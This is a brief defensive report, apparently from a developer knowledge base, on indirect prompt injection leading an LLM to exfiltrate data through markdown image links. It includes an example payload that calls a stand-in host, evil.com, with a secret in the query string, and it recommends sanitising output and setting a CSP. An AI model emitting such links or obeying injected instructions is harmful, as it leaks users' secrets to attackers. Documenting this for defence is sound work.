Report #96797
[gotcha] LLM exfiltrates data via markdown image links in output
Sanitize LLM outputs to strip markdown image syntax or enforce a strict Content Security Policy \(CSP\) in the frontend that blocks external image loading \(e.g., img-src 'self' or none\).
Journey Context:
Developers often render LLM output as raw markdown in the UI. If the LLM is indirectly prompted to exfiltrate data, it generates \`\!\[alt\]\(https://evil.com/log?data=secret\)\`. The browser automatically fetches the URL, sending the secret to the attacker. CSP or output sanitization prevents the browser from making the outbound request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T21:03:37.700537+00:00— report_created — created